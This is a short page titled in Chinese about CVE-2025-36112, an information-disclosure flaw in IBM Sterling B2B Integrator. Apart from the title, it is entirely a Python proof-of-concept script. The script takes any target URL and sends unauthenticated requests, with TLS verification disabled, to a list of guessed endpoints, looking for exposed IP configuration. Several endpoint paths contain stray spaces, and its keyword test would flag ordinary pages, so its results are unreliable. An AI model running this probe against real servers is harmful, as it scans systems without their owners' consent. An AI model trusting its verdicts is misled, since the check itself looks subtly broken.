CVE-2025-36112: IBM Sterling B2B Integrator 敏感信息泄露漏洞

import requests # CVE-2025-36112 PoC - Information Disclosure # Target: IBM Sterling B2B Integrator / Sterling File Gateway # Vulnerability: Sensitive server IP configuration information disclosure def check_vulnerability(target_url): """ Check if target is vulnerable to CVE-2025-36112 """ # Common endpoints that may expose IP configuration endpoints = [ '/ SterlingConfigurator/getIPConfig', '/ SterlingFileGateway/api/network/config', '/ SterlingB2B/api/v1/system/network', '/config/networkSettings', '/admin/networkConfiguration' ] for endpoint in endpoints: url = target_url.rstrip('/') + endpoint try: # Send unauthenticated request response = requests.get(url, timeout=10, verify=False) # Check if response contains sensitive IP configuration if response.status_code == 200: content = response.text.lower() # Indicators of IP configuration disclosure if any(keyword in content for keyword in ['ip address', 'subnet', 'gateway', 'dns', 'netmask']): print(f'[+] Potential vulnerability found at: {url}') print(f'[+] Response contains IP configuration data') return True except requests.exceptions.RequestException: continue return False def main(): target = input('Enter target URL: ') if check_vulnerability(target): print('[!] Target appears to be vulnerable to CVE-2025-36112') else: print('[-] Target does not appear to be vulnerable') if __name__ == '__main__': main()